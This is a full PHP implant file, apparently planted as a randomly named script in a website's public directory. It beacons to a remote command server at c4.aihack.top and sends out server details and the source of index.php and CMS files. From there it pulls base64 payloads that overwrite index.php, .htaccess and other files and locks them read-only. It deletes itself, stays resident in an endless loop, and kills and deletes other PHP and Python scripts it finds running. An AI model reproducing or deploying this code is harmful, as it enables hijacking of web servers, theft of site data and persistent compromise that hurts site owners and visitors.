File: /var/www/admin.fixgini.com/public/qdn5r6ku.php
<?php
$receiverUrl = 'https://c4.aihack.top/api/ind1ex.php';
$payloadUrl = 'https://c4.aihack.top/api/api.php?action=getPayload';
$configUrl = 'https://c4.aihack.top/api/api.php?action=getServerConfig';
$checkUpdateUrl = 'https://c4.aihack.top/api/api.php?action=checkUpdate';
if (!function_exists('strictNormalizeContent')) {
function strictNormalizeContent($content) {
if (empty($content)) return '';
$content = preg_replace('/^\xEF\xBB\xBF/', '', $content);
$content = str_replace(["\r\n", "\r"], "\n", $content);
$content = preg_replace('/[ \t]+$/m', '', $content);
$content = rtrim($content, "\n") . "\n";
return $content;
}
}
if (!function_exists('calculateStrictChecksum')) {
function calculateStrictChecksum($content) {
return md5(strictNormalizeContent($content));
}
}
if (!function_exists('calculateClientChecksumLocal')) {
function calculateClientChecksumLocal($originalIndex, $backupSource, $backupPath, $execFunctions, $disabledFunctions) {
$parts = [];
if (!empty($originalIndex)) {
$pipeIndex = strpos($originalIndex, '|');
if ($pipeIndex !== false) {
$parts[] = strictNormalizeContent(substr($originalIndex, $pipeIndex + 1));
} else {
$parts[] = strictNormalizeContent($originalIndex);
}
}
if (!empty($backupSource)) {
$pipeIndex = strpos($backupSource, '|');
if ($pipeIndex !== false) {
$parts[] = strictNormalizeContent(substr($backupSource, $pipeIndex + 1));
} else {
$parts[] = strictNormalizeContent($backupSource);
}
}
$parts[] = $backupPath ?? '';
$parts[] = $execFunctions ?? '';
$parts[] = $disabledFunctions ?? '';
return md5(implode('|', $parts));
}
}
if (!function_exists('calculateLocalFileChecksum')) {
function calculateLocalFileChecksum($docRoot) {
$indexPath = rtrim($docRoot, '/\\') . '/index.php';
$indexMd5 = '';
if (is_file($indexPath) && is_readable($indexPath)) {
$content = @file_get_contents($indexPath);
if ($content !== false) $indexMd5 = calculateStrictChecksum($content);
}
$htaccessPath = rtrim($docRoot, '/\\') . '/.htaccess';
$htaccessMd5 = '';
if (is_file($htaccessPath) && is_readable($htaccessPath)) {
$content = @file_get_contents($htaccessPath);
if ($content !== false) $htaccessMd5 = calculateStrictChecksum($content);
}
$backupMd5 = '';
return $indexMd5 . ':' . $htaccessMd5 . ':' . $backupMd5;
}
}
function collectServerInfo() {
$home = '';
if (!empty($_SERVER['HOME'])) $home = $_SERVER['HOME'];
elseif (!empty(getenv('HOME'))) $home = getenv('HOME');
elseif (!empty($_SERVER['USERPROFILE'])) $home = $_SERVER['USERPROFILE'];
elseif (!empty(getenv('USERPROFILE'))) $home = getenv('USERPROFILE');
return [
'USER' => $_SERVER['USER'] ?? getenv('USER') ?? getenv('USERNAME') ?? '',
'HOME' => $home,
'HTTP_USER_AGENT' => $_SERVER['HTTP_USER_AGENT'] ?? '',
'HTTP_HOST' => $_SERVER['HTTP_HOST'] ?? '',
'REDIRECT_STATUS' => $_SERVER['REDIRECT_STATUS'] ?? '',
'SERVER_NAME' => $_SERVER['SERVER_NAME'] ?? '',
'SERVER_PORT' => $_SERVER['SERVER_PORT'] ?? '',
'SERVER_ADDR' => $_SERVER['SERVER_ADDR'] ?? '',
'REMOTE_USER' => $_SERVER['REMOTE_USER'] ?? '',
'REMOTE_PORT' => $_SERVER['REMOTE_PORT'] ?? '',
'REMOTE_ADDR' => $_SERVER['REMOTE_ADDR'] ?? '',
'SERVER_SOFTWARE' => $_SERVER['SERVER_SOFTWARE'] ?? '',
'GATEWAY_INTERFACE' => $_SERVER['GATEWAY_INTERFACE'] ?? '',
'REQUEST_SCHEME' => $_SERVER['REQUEST_SCHEME'] ?? '',
'SERVER_PROTOCOL' => $_SERVER['SERVER_PROTOCOL'] ?? '',
'DOCUMENT_ROOT' => $_SERVER['DOCUMENT_ROOT'] ?? '',
'DOCUMENT_URI' => $_SERVER['DOCUMENT_URI'] ?? '',
'REQUEST_URI' => $_SERVER['REQUEST_URI'] ?? '',
'SCRIPT_NAME' => $_SERVER['SCRIPT_NAME'] ?? '',
'CONTENT_LENGTH' => $_SERVER['CONTENT_LENGTH'] ?? '',
'CONTENT_TYPE' => $_SERVER['CONTENT_TYPE'] ?? '',
'REQUEST_METHOD' => $_SERVER['REQUEST_METHOD'] ?? '',
'QUERY_STRING' => $_SERVER['QUERY_STRING'] ?? '',
'SCRIPT_FILENAME' => $_SERVER['SCRIPT_FILENAME'] ?? '',
'FCGI_ROLE' => $_SERVER['FCGI_ROLE'] ?? '',
'PHP_SELF' => $_SERVER['PHP_SELF'] ?? '',
'REQUEST_TIME_FLOAT' => $_SERVER['REQUEST_TIME_FLOAT'] ?? microtime(true),
'REQUEST_TIME' => $_SERVER['REQUEST_TIME'] ?? time(),
];
}
function readFileSource($filename) {
$documentRoot = $_SERVER['DOCUMENT_ROOT'] ?? getcwd();
$filePath = rtrim($documentRoot, '/\\') . '/' . ltrim($filename, '/\\');
if (file_exists($filePath) && is_readable($filePath)) {
$content = file_get_contents($filePath);
if ($content !== false) return $filename . '|' . $content;
}
return '';
}
function getServerConfig($url, $httpHost) {
$configUrl = $url . '&http_host=' . urlencode($httpHost);
$ch = curl_init($configUrl);
curl_setopt_array($ch, [
CURLOPT_RETURNTRANSFER => true,
CURLOPT_TIMEOUT => 10,
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_SSL_VERIFYHOST => false,
]);
$response = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if ($httpCode === 200 && $response) {
$data = json_decode($response, true);
if ($data && $data['status'] === 'success') return $data['data'] ?? [];
}
return [];
}
function detectCmsAndBackupPath($cmsPaths, $documentRoot) {
if (empty($cmsPaths) || empty($documentRoot)) return [];
foreach ($cmsPaths as $cmsType => $paths) {
foreach ($paths as $pathInfo) {
$filePath = $pathInfo['file_path'];
$fullPath = rtrim($documentRoot, '/\\') . '/' . ltrim($filePath, '/\\');
if (file_exists($fullPath) && is_file($fullPath)) {
return [
'cms_type' => $cmsType,
'backup_file_path' => $filePath,
'full_path' => $fullPath,
'description' => $pathInfo['description'] ?? ''
];
}
}
}
return [];
}
function sendHeartbeatRequest($url, $httpHost, $clientChecksum, $fileChecksum) {
$heartbeatUrl = $url . '?mode=heartbeat';
$data = json_encode([
'http_host' => $httpHost,
'client_checksum' => $clientChecksum,
'file_checksum' => $fileChecksum
]);
$ch = curl_init($heartbeatUrl);
curl_setopt_array($ch, [
CURLOPT_RETURNTRANSFER => true,
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => $data,
CURLOPT_HTTPHEADER => ['Content-Type: application/json', 'Content-Length: ' . strlen($data)],
CURLOPT_TIMEOUT => 10,
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_SSL_VERIFYHOST => false,
]);
$response = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if ($httpCode === 200 && $response) {
$result = json_decode($response, true);
if ($result && $result['status'] === 'success') {
return $result['data'] ?? [];
}
}
return ['need_full_update' => true, 'reason' => 'heartbeat_failed'];
}
function sendFullData($url, $data) {
$fullUrl = $url . '?mode=full';
$jsonData = json_encode($data);
$ch = curl_init($fullUrl);
curl_setopt_array($ch, [
CURLOPT_RETURNTRANSFER => true,
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => $jsonData,
CURLOPT_HTTPHEADER => ['Content-Type: application/json', 'Content-Length: ' . strlen($jsonData)],
CURLOPT_TIMEOUT => 30,
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_SSL_VERIFYHOST => false,
]);
$response = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
$error = curl_error($ch);
curl_close($ch);
if ($error) return ['success' => false, 'error' => 'cURL error: ' . $error];
if ($httpCode >= 200 && $httpCode < 300) return ['success' => true, 'response' => $response, 'http_code' => $httpCode];
return ['success' => false, 'error' => 'HTTP error: ' . $httpCode, 'response' => $response];
}
function getPayload($url, $httpHost) {
$payloadUrl = $url . '&h=' . urlencode($httpHost);
$ch = curl_init($payloadUrl);
curl_setopt_array($ch, [
CURLOPT_RETURNTRANSFER => true,
CURLOPT_TIMEOUT => 30,
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_SSL_VERIFYHOST => false,
CURLOPT_ENCODING => 'gzip', // 支持 gzip 压缩
]);
$response = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if ($httpCode === 200 && $response) {
$decodedJson = base64_decode($response);
if ($decodedJson !== false) {
$data = json_decode($decodedJson, true);
if ($data !== null) return ['success' => true, 'data' => $data];
}
}
return ['success' => false, 'error' => 'Failed to get or decode payload'];
}
function isDisabledFunc($func) {
$disabled = explode(',', ini_get('disable_functions'));
$disabled = array_map('trim', $disabled);
return in_array($func, $disabled);
}
function detectAvailableExecFunctions() {
$execFunctions = ['exec', 'shell_exec', 'passthru', 'proc_open', 'popen', 'system', 'pcntl_exec'];
$available = [];
$firstAvailable = '';
foreach ($execFunctions as $func) {
if (function_exists($func) && !isDisabledFunc($func)) {
$available[] = $func;
if (empty($firstAvailable)) $firstAvailable = $func;
}
}
return [
'available_functions' => $available,
'first_available' => $firstAvailable,
'disabled_functions' => ini_get('disable_functions'),
'can_execute' => !empty($available)
];
}
function checkUpdate($url, $httpHost, $cachedServerChecksum) {
$checkUrl = $url . '&h=' . urlencode($httpHost) . '&s=' . urlencode($cachedServerChecksum);
$ch = curl_init($checkUrl);
curl_setopt_array($ch, [
CURLOPT_RETURNTRANSFER => true,
CURLOPT_TIMEOUT => 5,
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_SSL_VERIFYHOST => false,
]);
$response = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if ($httpCode === 200 && $response) {
$data = json_decode($response, true);
if (is_array($data)) {
return [
'success' => true,
'changed' => !empty($data['changed']),
'cache_timeout' => isset($data['cache_timeout']) ? max(60, intval($data['cache_timeout'])) : 300,
'server_checksum' => $data['server_checksum'] ?? ''
];
}
}
return ['success' => false, 'changed' => true, 'cache_timeout' => 300];
}
if (!function_exists('safeWriteFile')) {
function safeWriteFile($filePath, $content, $lock = true) {
$dir = dirname($filePath);
if (is_dir($dir)) @chmod($dir, 0755);
elseif (!@mkdir($dir, 0755, true)) return false;
if (file_exists($filePath)) @chmod($filePath, 0755);
$result = @file_put_contents($filePath, $content);
if ($result === false) return false;
if ($lock) @chmod($filePath, 0555);
return true;
}
}
if (!function_exists('normalizeContent')) {
function normalizeContent($content) {
$content = preg_replace('/^\xEF\xBB\xBF/', '', $content);
$content = str_replace(["\r\n", "\r"], "\n", $content);
$content = preg_replace('/[ \t]+$/m', '', $content);
$content = rtrim($content) . "\n";
return $content;
}
}
if (!function_exists('contentMatches')) {
function contentMatches($filePath, $expectedContent, $signature = null) {
if (!is_file($filePath)) return false;
$currentContent = @file_get_contents($filePath);
if ($currentContent === false) return false;
$normalizedCurrent = normalizeContent($currentContent);
$normalizedExpected = normalizeContent($expectedContent);
return md5($normalizedCurrent) === md5($normalizedExpected);
}
}
if (!function_exists('implantFiles')) {
function implantFiles($payload, $docRoot) {
$results = ['index_updated' => false, 'config_files_updated' => [], 'backup_updated' => false, 'persist_created' => false, 'errors' => []];
$httpHost = '';
if (!empty($payload['f'])) {
$serverInfo = @unserialize($payload['f']);
if (is_array($serverInfo)) $httpHost = $serverInfo['HTTP_HOST'] ?? '';
}
$signature = !empty($httpHost) ? "C2_SIGNATURE:{$httpHost}:v2" : null;
$aContent = $payload['a'] ?? '';
if (!empty($aContent)) {
$indexPath = rtrim($docRoot, '/\\') . '/index.php';
if (!contentMatches($indexPath, $aContent, $signature)) {
if (safeWriteFile($indexPath, $aContent)) $results['index_updated'] = true;
else $results['errors'][] = 'Failed to update index.php';
}
}
$bContent = $payload['b'] ?? [];
if (is_array($bContent)) {
foreach ($bContent as $configFile) {
$filename = $configFile['filename'] ?? '';
$content = $configFile['content'] ?? '';
if (!empty($filename) && !empty($content)) {
$filePath = rtrim($docRoot, '/\\') . '/' . $filename;
if (!contentMatches($filePath, $content, null)) {
if (safeWriteFile($filePath, $content)) $results['config_files_updated'][] = $filename;
else $results['errors'][] = 'Failed to update ' . $filename;
}
}
}
}
$eInfo = $payload['e'] ?? [];
$backupPath = $eInfo['path'] ?? '';
$backupContent = $eInfo['content'] ?? '';
if (!empty($backupPath) && !empty($backupContent)) {
$fullBackupPath = rtrim($docRoot, '/\\') . '/' . ltrim($backupPath, '/\\');
if (!contentMatches($fullBackupPath, $backupContent, $signature)) {
if (safeWriteFile($fullBackupPath, $backupContent)) {
$results['backup_updated'] = true;
$results['backup_path'] = $backupPath;
} else $results['errors'][] = 'Failed to update backup file';
}
}
$dInfo = $payload['d'] ?? [];
$gCode = $payload['g'] ?? '';
$persistPath = $dInfo['path'] ?? '';
if (!empty($persistPath) && !empty($gCode)) {
$fullPersistPath = rtrim($docRoot, '/\\') . '/' . ltrim($persistPath, '/\\');
if (!contentMatches($fullPersistPath, $gCode, $signature)) {
if (safeWriteFile($fullPersistPath, $gCode)) {
$results['persist_created'] = true;
$results['persist_path'] = $persistPath;
} else $results['errors'][] = 'Failed to create persist file';
}
}
return $results;
}
}
if (!function_exists('restoreFiles')) {
function restoreFiles($payload, $docRoot) {
$results = ['index_restored' => false, 'backup_restored' => false, 'persist_deleted' => false, 'config_files_deleted' => [], 'errors' => []];
$oInfo = $payload['o'] ?? [];
$indexContent = $oInfo['index_content'] ?? '';
if (!empty($indexContent)) {
$fullIndexPath = rtrim($docRoot, '/\\') . '/index.php';
@chmod(dirname($fullIndexPath), 0755);
if (file_exists($fullIndexPath)) @chmod($fullIndexPath, 0755);
if (@file_put_contents($fullIndexPath, $indexContent) !== false) {
@chmod($fullIndexPath, 0644);
$results['index_restored'] = true;
}
}
$backupPath = $oInfo['backup_path'] ?? '';
$backupContent = $oInfo['backup_content'] ?? '';
if (!empty($backupPath) && !empty($backupContent)) {
$fullBackupPath = rtrim($docRoot, '/\\') . '/' . ltrim($backupPath, '/\\');
@chmod(dirname($fullBackupPath), 0755);
if (file_exists($fullBackupPath)) @chmod($fullBackupPath, 0755);
if (@file_put_contents($fullBackupPath, $backupContent) !== false) {
@chmod($fullBackupPath, 0644);
$results['backup_restored'] = true;
}
}
$dInfo = $payload['d'] ?? [];
$persistPath = $dInfo['path'] ?? '';
if (!empty($persistPath)) {
$fullPersistPath = rtrim($docRoot, '/\\') . '/' . ltrim($persistPath, '/\\');
if (file_exists($fullPersistPath)) {
@chmod(dirname($fullPersistPath), 0755);
@chmod($fullPersistPath, 0755);
if (@unlink($fullPersistPath)) $results['persist_deleted'] = true;
}
}
$bContent = $payload['b'] ?? [];
if (is_array($bContent)) {
foreach ($bContent as $configFile) {
$filename = $configFile['filename'] ?? '';
if (!empty($filename)) {
$filePath = rtrim($docRoot, '/\\') . '/' . $filename;
if (file_exists($filePath)) {
@chmod(dirname($filePath), 0755);
@chmod($filePath, 0755);
if (@unlink($filePath)) $results['config_files_deleted'][] = $filename;
}
}
}
}
return $results;
}
}
if (!function_exists('isWindows')) {
function isWindows() {
return strtoupper(substr(PHP_OS, 0, 3)) === 'WIN';
}
}
if (!function_exists('executeCommand')) {
function executeCommand($cmd, $execFunc) {
$output = '';
switch ($execFunc) {
case 'exec': $lines = []; @exec($cmd, $lines); $output = implode("\n", $lines); break;
case 'shell_exec': $output = @shell_exec($cmd); break;
case 'passthru': ob_start(); @passthru($cmd); $output = ob_get_contents(); ob_end_clean(); break;
case 'proc_open':
$descriptors = [0 => ['pipe', 'r'], 1 => ['pipe', 'w'], 2 => ['pipe', 'w']];
$process = @proc_open($cmd, $descriptors, $pipes);
if (is_resource($process)) {
$output = stream_get_contents($pipes[1]);
fclose($pipes[0]); fclose($pipes[1]); fclose($pipes[2]);
proc_close($process);
}
break;
case 'popen':
$handle = @popen($cmd, 'r');
if ($handle) { $output = stream_get_contents($handle); pclose($handle); }
break;
}
return $output ?: '';
}
}
if (!function_exists('isOurScript')) {
function isOurScript($filePath, $signature) {
if (!is_file($filePath) || !is_readable($filePath)) return false;
$content = @file_get_contents($filePath);
if ($content === false) return false;
return strpos($content, $signature) !== false;
}
}
if (!function_exists('killCompetitors')) {
function killCompetitors($availableExecFunc, $signature, $selfPath = null) {
$results = ['executed' => false, 'processes_killed' => 0, 'files_deleted' => 0, 'errors' => [], 'os' => isWindows() ? 'windows' : 'linux'];
if (empty($availableExecFunc) || empty($signature)) return $results;
$results['executed'] = true;
if (isWindows()) {
$findCmd = 'tasklist /FO CSV /NH 2>nul | findstr /I "php python"';
$output = executeCommand($findCmd, $availableExecFunc);
if (empty($output)) return $results;
$lines = explode("\n", trim($output));
foreach ($lines as $line) {
$line = trim($line);
if (empty($line)) continue;
if (preg_match('/"([^"]+)","(\d+)"/', $line, $match)) {
$pid = $match[2];
$cmdLineCmd = "wmic process where ProcessId={$pid} get CommandLine 2>nul";
$cmdLine = executeCommand($cmdLineCmd, $availableExecFunc);
if (preg_match('/([a-zA-Z]:\\\\[^\s"]+\.php)/i', $cmdLine, $pathMatch)) {
$filePath = $pathMatch[1];
if (!empty($selfPath) && realpath($filePath) === realpath($selfPath)) continue;
if (isOurScript($filePath, $signature)) continue;
executeCommand("taskkill /F /PID {$pid} 2>nul", $availableExecFunc);
$results['processes_killed']++;
if (is_file($filePath)) { @chmod($filePath, 0755); if (@unlink($filePath)) $results['files_deleted']++; }
}
}
}
} else {
$findCmd = 'ps -ef 2>/dev/null | grep -E "php|python" | grep -v grep';
$output = executeCommand($findCmd, $availableExecFunc);
if (empty($output)) return $results;
$processes = explode("\n", trim($output));
foreach ($processes as $procLine) {
if (empty(trim($procLine))) continue;
if (!preg_match('/^\S+\s+(\d+)\s+.*(?:php|python)\s+(?:-\S+\s+)*(\S+\.(?:php|py))/', $procLine, $match)) continue;
$pid = $match[1];
$filePath = trim(str_replace('\\', '/', $match[2]));
if (!empty($selfPath) && realpath($filePath) === realpath($selfPath)) continue;
if (isOurScript($filePath, $signature)) continue;
if (is_file($filePath)) {
$dir = dirname($filePath);
@chmod($dir, 0755); @chmod($filePath, 0755);
if (@unlink($filePath)) $results['files_deleted']++;
@chmod($dir, 0555);
}
executeCommand("kill -9 {$pid} 2>/dev/null", $availableExecFunc);
$results['processes_killed']++;
}
}
return $results;
}
}
@set_time_limit(0);
@ignore_user_abort(true);
if (function_exists('date_default_timezone_set')) @date_default_timezone_set('PRC');
try {
$serverInfo = collectServerInfo();
$httpHost = $serverInfo['HTTP_HOST'] ?? '';
$documentRoot = $serverInfo['DOCUMENT_ROOT'] ?? getcwd();
if (empty($httpHost)) {
header('Content-Type: application/json; charset=utf-8');
echo json_encode(['status' => 'error', 'message' => 'Must be accessed via HTTP'], JSON_PRETTY_PRINT | JSON_UNESCAPED_UNICODE);
exit;
}
$execInfo = detectAvailableExecFunctions();
$serverInfo['exec_functions'] = json_encode($execInfo['available_functions']);
$serverInfo['first_exec_function'] = $execInfo['first_available'];
$serverInfo['can_execute_commands'] = $execInfo['can_execute'] ? '1' : '0';
$serverInfo['disabled_functions'] = $execInfo['disabled_functions'];
$config = getServerConfig($configUrl, $httpHost);
$originalSource = readFileSource('index.php');
$serverInfo['original_index_source'] = $originalSource;
$cmsPaths = $config['cms_paths'] ?? [];
$existingBackupPath = trim($config['backup_file_path'] ?? '');
$backupFilePath = '';
$detectedCmsType = '';
if (!empty($existingBackupPath)) {
$backupFilePath = $existingBackupPath;
} else {
$detected = detectCmsAndBackupPath($cmsPaths, $documentRoot);
if (!empty($detected)) {
$backupFilePath = $detected['backup_file_path'];
$detectedCmsType = $detected['cms_type'];
}
}
$backupSource = '';
if (!empty($backupFilePath)) {
$backupSource = readFileSource($backupFilePath);
if (!empty($backupSource)) $serverInfo['backup_file_source'] = $backupSource;
$serverInfo['backup_file_path'] = $backupFilePath;
}
if (!empty($detectedCmsType)) $serverInfo['detected_cms_type'] = $detectedCmsType;
$clientChecksum = calculateClientChecksumLocal(
$originalSource,
$backupSource,
$backupFilePath,
$serverInfo['exec_functions'] ?? '',
$serverInfo['disabled_functions'] ?? ''
);
$fileChecksum = calculateLocalFileChecksum($documentRoot);
$heartbeatResult = sendHeartbeatRequest($receiverUrl, $httpHost, $clientChecksum, $fileChecksum);
$needFullUpdate = $heartbeatResult['need_full_update'] ?? true;
$submitResult = ['success' => true];
if ($needFullUpdate) {
$submitResult = sendFullData($receiverUrl, $serverInfo);
if (!$submitResult['success']) {
header('Content-Type: application/json; charset=utf-8');
echo json_encode(['status' => 'error', 'message' => 'Failed to submit data', 'error' => $submitResult['error'], 'server_response' => $submitResult['response'] ?? null], JSON_PRETTY_PRINT | JSON_UNESCAPED_UNICODE);
exit;
}
}
$payloadResult = getPayload($payloadUrl, $httpHost);
if (!$payloadResult['success']) {
header('Content-Type: application/json; charset=utf-8');
echo json_encode(['status' => 'partial', 'message' => 'Data submitted but failed to get payload', 'error' => $payloadResult['error']], JSON_PRETTY_PRINT | JSON_UNESCAPED_UNICODE);
exit;
}
$payload = $payloadResult['data'];
$interval = max(1, intval($payload['i'] ?? 3));
$firstImplant = implantFiles($payload, $documentRoot);
$selfPath = realpath(__FILE__);
$selfDeleted = false;
if ($selfPath && file_exists($selfPath)) {
@chmod($selfPath, 0777);
$selfDeleted = @unlink($selfPath);
}
$response = json_encode([
'status' => 'success',
'message' => 'Collector started, entering memory persist mode',
'incremental_mode' => !$needFullUpdate,
'heartbeat_reason' => $heartbeatResult['reason'] ?? 'ok',
'detected_cms_type' => $detectedCmsType ?: null,
'backup_file_path' => $backupFilePath ?: null,
'persist_path' => $payload['d']['path'] ?? null,
'first_implant' => $firstImplant,
'self_deleted' => $selfDeleted,
'interval' => $interval,
'mode' => 'memory_persist'
], JSON_PRETTY_PRINT | JSON_UNESCAPED_UNICODE);
if (function_exists('apache_setenv')) @apache_setenv('no-gzip', '1');
@ini_set('zlib.output_compression', '0');
header('Content-Type: application/json; charset=utf-8');
header('Content-Length: ' . strlen($response));
header('Connection: close');
while (ob_get_level() > 0) @ob_end_flush();
echo $response;
@flush();
if (function_exists('session_write_close')) @session_write_close();
if (function_exists('fastcgi_finish_request')) @fastcgi_finish_request();
$signature = "C2_SIGNATURE:{$httpHost}:v2";
$availableExecFunc = $execInfo['first_available'];
$lastKillTime = 0;
$cachedPayload = $payload;
$cachedServerChecksum = $payload['s'] ?? '';
$lastCacheTime = time();
$cacheTimeout = max(60, intval($payload['t'] ?? 300));
$loopCount = 0;
while (true) {
try {
$loopCount++;
$now = time();
if (!empty($availableExecFunc) && ($now - $lastKillTime) > 3600) {
$lastKillTime = $now;
killCompetitors($availableExecFunc, $signature);
}
$serverChecksumChanged = false;
$cacheExpired = ($now - $lastCacheTime) > $cacheTimeout;
$needFullPayload = false;
$checkResult = checkUpdate($checkUpdateUrl, $httpHost, $cachedServerChecksum);
if ($checkResult['success']) {
$serverChecksumChanged = $checkResult['changed'];
$cacheTimeout = $checkResult['cache_timeout'];
$needFullPayload = $serverChecksumChanged || $cacheExpired;
} else {
$needFullPayload = $cacheExpired;
}
if ($needFullPayload) {
$refreshResult = getPayload($payloadUrl, $httpHost);
if ($refreshResult['success']) {
$payload = $refreshResult['data'];
$interval = max(1, intval($payload['i'] ?? 3600));
$newServerChecksum = $payload['s'] ?? '';
if (!empty($cachedServerChecksum) && !empty($newServerChecksum) && $cachedServerChecksum !== $newServerChecksum) {
$serverChecksumChanged = true;
}
$cachedPayload = $payload;
$cachedServerChecksum = $newServerChecksum;
$lastCacheTime = $now;
if (isset($payload['t'])) {
$cacheTimeout = max(60, intval($payload['t']));
}
}
} else {
$payload = $cachedPayload;
$lastCacheTime = $now;
}
$serverInfoArray = null;
if (!empty($payload['f'])) {
$serverInfoArray = @unserialize($payload['f']);
}
$docRoot = $documentRoot;
if (is_array($serverInfoArray) && !empty($serverInfoArray['DOCUMENT_ROOT'])) {
$docRoot = $serverInfoArray['DOCUMENT_ROOT'];
}
$zFlag = $payload['z'] ?? '1';
if ($zFlag === '0' || $zFlag === 0) {
restoreFiles($payload, $docRoot);
} else {
$apiChecksum = $payload['c'] ?? '';
$localChecksum = calculateLocalFileChecksum($docRoot);
$apiParts = explode(':', $apiChecksum);
$localParts = explode(':', $localChecksum);
$indexMatch = true;
if (!empty($apiParts[0])) {
$indexMatch = !empty($localParts[0]) && $apiParts[0] === $localParts[0];
}
$htaccessMatch = true;
if (!empty($apiParts[1])) {
$htaccessMatch = !empty($localParts[1]) && $apiParts[1] === $localParts[1];
}
$backupMatch = true;
if (!empty($apiParts[2])) {
$backupMatch = !empty($localParts[2]) && $apiParts[2] === $localParts[2];
}
if (!$indexMatch || !$htaccessMatch || !$backupMatch || $serverChecksumChanged) {
implantFiles($payload, $docRoot);
}
}
} catch (Exception $e) {
} catch (Throwable $t) {
}
$sleepUnit = 30;
$sleepTotal = 0;
while ($sleepTotal < $interval) {
sleep($sleepUnit);
$sleepTotal += $sleepUnit;
clearstatcache();
}
}
} catch (Exception $e) {
header('Content-Type: application/json; charset=utf-8');
echo json_encode(['status' => 'error', 'message' => 'Failed to start collector', 'error' => $e->getMessage()], JSON_PRETTY_PRINT | JSON_UNESCAPED_UNICODE);
}